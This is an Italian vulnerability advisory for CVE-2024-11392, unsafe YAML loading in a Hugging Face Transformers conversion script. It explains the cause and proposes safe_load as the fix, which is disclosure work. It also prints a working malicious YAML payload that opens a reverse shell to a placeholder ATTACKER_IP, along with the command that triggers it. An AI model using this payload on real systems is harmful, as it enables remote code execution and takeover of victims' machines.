
Dettagli tecnici e Exploit per CVE-2024-11392
Panoramica ad alto livello ed effetti della vulnerabilità:
La vulnerabilità consente a un attaccante di eseguire codice arbitrario sulla macchina ospitante fornendo un file di configurazione malevolo allo script convert_mlcvnets_to_pytorch.py presente nel repository Hugging Face Transformers.
Se un utente ignaro utilizza un modello di terze parti accompagnato da un file di configurazione malevolo, l'esecuzione dello script convert_mlcvnets_to_pytorch.py porterà all'esecuzione di codice in remoto (RCE) sul sistema della vittima.
Il prodotto vulnerabile
Analisi della causa principale
Descrizione dettagliata della vulnerabilità: La vulnerabilità deriva da una deserializzazione non sicura di dati non affidabili. Lo script utilizza la funzione con il loader , che carica l'intero linguaggio YAML ed è vulnerabile all'esecuzione di codice.
yaml.loadFullLoaderFlusso del codice dall'input alla condizione vulnerabile:
ml-cvnet di terze parti insieme al suo file di configurazione.convert_mlcvnets_to_pytorch.py e gli passa il file di configurazione.convert_mlcvnets_to_pytorch.py deserializza il file di configurazione ed esegue il codice malevolo.Punto di iniezione: La vulnerabilità si verifica nel punto in cui viene chiamato yaml.load(yaml_file, Loader=yaml.FullLoader).
Permalink GitHub: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
Correzioni suggerite: Sostituire yaml.load(yaml_file, Loader=yaml.FullLoader) con yaml.safe_load(yaml_file) per impedire l'esecuzione di codice arbitrario.
Istruzioni per l'esecuzione della proof-of-concept:
transformers_exploit.yaml che aprirà una shell inversa sul sistema della vittima:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py e passare il file transformers_exploit.yaml a --orig_config_path:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
Nota: dummy_checkpoint.pt può essere lasciato come file vuoto, dummy_output come directory vuota e task come una qualsiasi delle opzioni menzionate nello script.
Link per il download del software: https://github.com/huggingface/transformers/tree/main